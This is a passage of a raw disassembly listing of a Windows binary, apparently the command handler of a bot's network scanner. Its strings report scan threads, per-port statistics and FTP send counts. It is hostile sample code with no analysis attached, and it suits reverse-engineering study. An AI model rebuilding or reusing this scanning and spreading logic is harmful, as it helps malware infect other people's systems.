[esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D75 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422050 proc near ; CODE XREF: sub_40100Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jz short loc_4220AA loc_422068: ; CODE XREF: sub_422050+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4019AB mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401B7C ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jnz short loc_422068 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4220AA: ; CODE XREF: sub_422050+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_422050 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4220E0 proc near ; CODE XREF: sub_401212j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 20h call sub_4020BD sub_4220E0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4220F5 mov edi, esi loc_4220F5: ; CODE XREF: ___:004220F1j push esi call sub_40110E mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_42210A mov edi, esi loc_42210A: ; CODE XREF: ___:00422106j push esi call sub_4010EB add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422130 proc near ; CODE XREF: sub_4021B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4018E3 sub_422130 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422150 proc near ; CODE XREF: sub_40110Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_422150 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422170 proc near ; CODE XREF: sub_40108Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422170 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422190 proc near ; CODE XREF: sub_4011A9j mov eax, ecx retn sub_422190 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4221B0 proc near ; CODE XREF: sub_401D75j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4018ED mov eax, esi pop esi retn 4 sub_4221B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4221E0 proc near ; CODE XREF: sub_401D48j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4221E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422210 proc near ; CODE XREF: sub_401E3Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401A2D add esp, 8 retn 8 sub_422210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422240 proc near ; CODE XREF: sub_401A1Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4020B8 mov ecx, eax call sub_4010C8 mov esi, eax push esi call sub_40204F push esi mov ebx, eax call sub_401CF3 mov ecx, [eax] push ecx call sub_40204F mov edx, [ebx] push esi mov [eax], edx call sub_401CF3 push esi mov ebx, eax call sub_40204F mov eax, [eax] push eax call sub_401CF3 mov ecx, [ebx] push esi mov [eax], ecx call sub_4010F5 add esp, 1Ch mov ecx, edi push eax call sub_401631 push esi mov ecx, edi call sub_401947 sub_422240 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422300 proc near ; CODE XREF: sub_401CF3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_422300 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422320 proc near ; CODE XREF: sub_401DF2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_422320 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422350 proc near ; CODE XREF: sub_401546j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_422350 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422370 proc near ; CODE XREF: sub_4017E9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40201D add esp, 8 retn 8 sub_422370 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223A0 proc near ; CODE XREF: sub_401519j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4223A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223C0 proc near ; CODE XREF: sub_4010C8j mov eax, [ecx] retn sub_4223C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223E0 proc near ; CODE XREF: sub_4020B8j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40107D mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4223E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422410 proc near ; CODE XREF: sub_401B7Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4019AB mov ecx, eax call sub_4018E8 mov esi, eax push esi call sub_40110E push esi mov ebx, eax call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [ebx] push esi mov [eax], edx call sub_4010EB push esi mov ebx, eax call sub_40110E mov eax, [eax] push eax call sub_4010EB mov ecx, [ebx] push esi mov [eax], ecx call sub_40108C add esp, 1Ch mov ecx, edi push eax call sub_401E60 push esi mov ecx, edi call sub_4021B7 sub_422410 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224D0 proc near ; CODE XREF: sub_4010EBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4224D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4224F0 proc near ; CODE XREF: sub_4020BDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_4224F0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422520 proc near ; CODE XREF: sub_4018E3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_422520 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422540 proc near ; CODE XREF: sub_4013DEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401ED3 add esp, 8 retn 8 sub_422540 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422570 proc near ; CODE XREF: sub_4018EDj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_422570 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422590 proc near ; CODE XREF: sub_4018E8j mov eax, [ecx] retn sub_422590 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225B0 proc near ; CODE XREF: sub_4019ABj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40182A mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4225B0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225E0 proc near ; CODE XREF: sub_401631j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401A78 pop ecx retn 4 sub_4225E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422600 proc near ; CODE XREF: sub_401E60j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401F9B pop ecx retn 4 sub_422600 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422620 proc near ; CODE XREF: sub_401A2Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_42263B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_42263B: ; CODE XREF: sub_422620+11j retn sub_422620 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422650 proc near ; CODE XREF: sub_40201Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_422650 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 19h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422691 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_401677 loc_422691: ; CODE XREF: sub_422650+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_422650 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226E0 proc near ; CODE XREF: sub_401ED3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4226E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 15h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422721 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_4014C9 loc_422721: ; CODE XREF: sub_4226E0+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_4226E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422750 proc near ; CODE XREF: sub_401A78j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 call sub_4019BA retn sub_422750 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422770 proc near ; CODE XREF: sub_401F9Bj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 mov eax, [ecx] call dword ptr [eax] retn sub_422770 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422790 proc near ; CODE XREF: sub_401677j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push edi call sub_4014C9 mov eax, [edi+15h] pop edi mov [esi+15h], eax mov eax, esi pop esi retn 4 sub_422790 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4227C0 proc near ; CODE XREF: sub_4019BAj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A6E test [esp+4+arg_0], 1 jz short loc_4227D8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4227D8: ; CODE XREF: sub_4227C0+Dj mov eax, esi pop esi retn 4 sub_4227C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4227F0 proc near ; CODE XREF: sub_401AE1j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4227F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 9 push 3 push 4Fh push 16h push 4 lea eax, [esp+60h+var_3C] push 1 mov esi, ecx push eax mov dword_4D5FCB, offset aAsn ; "asn" call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+8D008h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_4227F0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 14h push 12h push 1 push 14h push 13h push 4Fh push 16h push 4 lea edx, [esp+2Ch] push 1 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+8D036h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 0Eh push 1 push 3 lea ecx, [esp+2Ch] push 13h push ecx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+8D064h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 16h push 4 lea eax, [esp+2Ch] push 1 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+8D092h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 10h push 14h lea edx, [esp+44h] push 6 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 8D0C0h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422A40 proc near ; CODE XREF: sub_40138Ej var_78D = byte ptr -78Dh var_78C = dword ptr -78Ch var_788 = byte ptr -788h var_780 = dword ptr -780h var_770 = byte ptr -770h var_760 = byte ptr -760h var_6E0 = byte ptr -6E0h var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_644 = dword ptr -644h var_640 = dword ptr -640h var_638 = dword ptr -638h var_634 = dword ptr -634h var_630 = dword ptr -630h var_624 = byte ptr -624h var_60C = byte ptr -60Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_422A40 push eax mov large fs:0, esp sub esp, 784h push ebx push ebp push esi mov esi, [esp+79Ch+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+8D008h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422B0A push 3 call sub_401483 add esp, 4 test eax, eax jle short loc_422ADD push 3 call sub_401D8E mov eax, dword_50BB90[eax*8] add esp, 4 push eax call near ptr 71AB3F41h nop push eax push offset aScanCipS ; "scan: cip (%s)" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422ADD: ; CODE XREF: sub_422A40+52j lea ecx, [esi+2Ah] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push offset aScanNotStarted ; "scan: not started" push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422B0A: ; CODE XREF: sub_422A40+40j lea ecx, [ebp+8D0C0h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422BB0 mov edi, dword_4D63B0 push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 0 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+7A0h+var_788] mov ebx, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 cmp edi, ebx jl loc_4231BD mov edx, dword_44768F push edi push edx push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 1Ch mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422BB0: ; CODE XREF: sub_422A40+DFj lea ecx, [ebp+8D064h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_422C30 push eax push 3 call sub_401D93 add esp, 8 test eax, eax jle short loc_422C05 push eax push offset aScanStoppedDTh ; "scan: stopped (%d threads)" lea ecx, [esi+2Ah] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h jmp loc_422E39 ; --------------------------------------------------------------------------- loc_422C05: ; CODE XREF: sub_422A40+194j lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aScanCouldnTSto ; "scan: couldn't stop" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_422E39 ; --------------------------------------------------------------------------- loc_422C30: ; CODE XREF: sub_422A40+185j lea ecx, [ebp+8D036h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE mov edi, dword_50FB08 test eax, eax jnz loc_422CDE push 3 call sub_401483 add esp, 4 mov ebx, eax lea eax, [esp+7A0h+var_788] mov ecx, esi push offset asc_443600 ; " " push 2 push eax call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 1 call sub_4017E4 push eax call edi ; atoi add eax, ebx add esp, 4 cmp eax, 1F4h lea ecx, [esp+7A0h+var_788] setnle [esp+7A0h+var_78D] mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov al, [esp+7A0h+var_78D] test al, al jz loc_422E56 push ebx push offset aScanTooManyThr ; "scan: too many threads (%s)" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h loc_422CDE: ; CODE XREF: sub_422A40+20Bj lea ecx, [ebp+8D092h] call sub_4014D3 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_422E39 push offset asc_443600 ; " " lea eax, [esp+7A4h+var_624] push 1 push eax mov ecx, esi xor ebx, ebx call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 0Ah call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_624] mov edi, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov eax, dword_444448 mov [esp+7A0h+var_78D], bl test eax, eax jz short loc_422D69 mov eax, offset dword_444448 loc_422D55: ; CODE XREF: sub_422A40+327j cmp [eax+8], edi jb short loc_422D5F mov [esp+7A0h+var_78D], 1 loc_422D5F: ; CODE XREF: sub_422A40+318j mov ecx, [eax+3Ch] add eax, 3Ch test ecx, ecx jnz short loc_422D55 loc_422D69: ; CODE XREF: sub_422A40+30Ej mov ebp, off_50FBF0 lea ecx, [esp+7A0h+var_60C] push offset aScanStats ; "scan: stats:" push ecx call ebp ; sub_5EFFD5 mov eax, dword_444448 add esp, 8 test eax, eax jz short loc_422DCF mov edi, offset dword_444450 loc_422D8F: ; CODE XREF: sub_422A40+38Dj mov eax, [edi] lea edx, [edi-26h] add ebx, eax push eax push edx lea eax, [esp+7A8h+var_40C] push offset aSD ; " %s: %d," push eax call ebp ; sub_5EFFD5 lea ecx, [esp+7B0h+var_40C] push 200h lea edx, [esp+7B4h+var_60C] push ecx push edx nop call near ptr 77C47920h mov eax, [edi+34h] add edi, 3Ch add esp, 1Ch test eax, eax jnz short loc_422D8F loc_422DCF: ; CODE XREF: sub_422A40+348j push ebx lea eax, [esp+7A4h+var_40C] push offset aTotalD ; " total: %d" push eax call ebp ; sub_5EFFD5 lea ecx, [esp+7ACh+var_40C] push 200h lea edx, [esp+7B0h+var_60C] push ecx push edx nop call near ptr 77C47920h mov al, [esp+7B8h+var_78D] add esp, 18h test al, al jz short loc_422E29 xor eax, eax lea ecx, [esp+7A0h+var_60C] mov al, [esi+94h] push eax push ecx lea ecx, [esi+2Ah] call sub_4014D3 push eax push 0 call sub_401523 add esp, 10h loc_422E29: ; CODE XREF: sub_422A40+3C3j lea edx, [esp+7A0h+var_60C] push edx call sub_4010D2 add esp, 4 loc_422E39: ; CODE XREF: sub_422A40+1C0j ; sub_422A40+1EBj ... xor al, al loc_422E3B: ; CODE XREF: sub_422A40+98j ; sub_422A40+C5j ... mov ecx, [esp+7A0h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 790h retn 4 ; --------------------------------------------------------------------------- loc_422E56: ; CODE XREF: sub_422A40+26Ej push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 2 call sub_4017E4 push eax call edi ; atoi or ebx, 0FFFFFFFFh add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_65C], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 2 push ecx mov ecx, esi call sub_4016AE mov ebp, 3 mov ecx, eax mov [esp+7A0h+var_4], ebp call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_644], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push ebp push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 4 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_658], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov eax, [esp+7A0h+var_658] cmp eax, ebp jnb short loc_422F33 mov [esp+7A0h+var_658], ebp jmp short loc_422F43 ; --------------------------------------------------------------------------- loc_422F33: ; CODE XREF: sub_422A40+4E8j cmp eax, 3Ch jbe short loc_422F43 mov [esp+7A0h+var_658], 3Ch loc_422F43: ; CODE XREF: sub_422A40+4F1j ; sub_422A40+4F6j push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 5 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_654], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov ecx, [esp+7A0h+var_654] mov eax, 960h cmp ecx, eax jbe short loc_422F9C mov [esp+7A0h+var_654], eax loc_422F9C: ; CODE XREF: sub_422A40+553j mov eax, dword_444448 mov [esp+7A0h+var_640], ebx test eax, eax mov [esp+7A0h+var_78C], 0 jz loc_42306C mov ebp, offset dword_444448 jmp short loc_422FC2 ; --------------------------------------------------------------------------- loc_422FBF: ; CODE XREF: sub_422A40+602j or ebx, 0FFFFFFFFh loc_422FC2: ; CODE XREF: sub_422A40+57Dj push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 6 call sub_4017E4 mov edi, eax lea ecx, [ebp-28h] loc_422FEC: ; CODE XREF: sub_422A40+5CAj mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_423010 test al, al jz short loc_42300C mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_423010 add ecx, 2 add edi, 2 test al, al jnz short loc_422FEC loc_42300C: ; CODE XREF: sub_422A40+5B6j xor eax, eax jmp short loc_423014 ; --------------------------------------------------------------------------- loc_423010: ; CODE XREF: sub_422A40+5B2j ; sub_422A40+5C0j sbb eax, eax sbb eax, ebx loc_423014: ; CODE XREF: sub_422A40+5CEj test eax, eax lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz short loc_42304A mov edx, [esp+7A0h+var_78C] mov eax, [ebp+3Ch] add ebp, 3Ch inc edx test eax, eax mov [esp+7A0h+var_78C], edx jnz loc_422FBF jmp short loc_423069 ; --------------------------------------------------------------------------- loc_42304A: ; CODE XREF: sub_422A40+5EFj mov ecx, [esp+7A0h+var_78C] mov [esp+7A0h+var_640], ecx lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] mov edx, dword_444448[eax*4] mov [esp+7A0h+var_65C], edx loc_423069: ; CODE XREF: sub_422A40+608j or ebx, 0FFFFFFFFh loc_42306C: ; CODE XREF: sub_422A40+572j mov eax, [esp+7A0h+var_65C] test eax, eax jnz short loc_42308A lea ecx, [esi+2Ah] call sub_4014D3 push eax push offset aScanInvalidPor ; "scan: invalid port" jmp loc_4231A5 ; --------------------------------------------------------------------------- loc_42308A: ; CODE XREF: sub_422A40+635j push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016AE push offset dword_443DD4 mov ecx, eax mov [esp+7A4h+var_4], 7 call sub_4013E3 lea ecx, [esp+7A0h+var_788] mov edi, eax mov [esp+7A0h+var_4], ebx call sub_401226 test edi, edi jz loc_423167 push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 5 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 8 call sub_4017E4 push eax lea ecx, [esp+7A4h+var_770] push 10h push ecx nop call near ptr 77C3FA76h add esp, 0Ch lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016AE push 78h mov ecx, eax mov [esp+7A4h+var_4], 9 call sub_4017E4 push eax nop call near ptr 77C47660h add esp, 8 lea ecx, [esp+7A0h+var_788] neg eax sbb eax, eax mov [esp+7A0h+var_4], ebx neg eax mov [esp+7A0h+var_630], eax call sub_401226 jmp 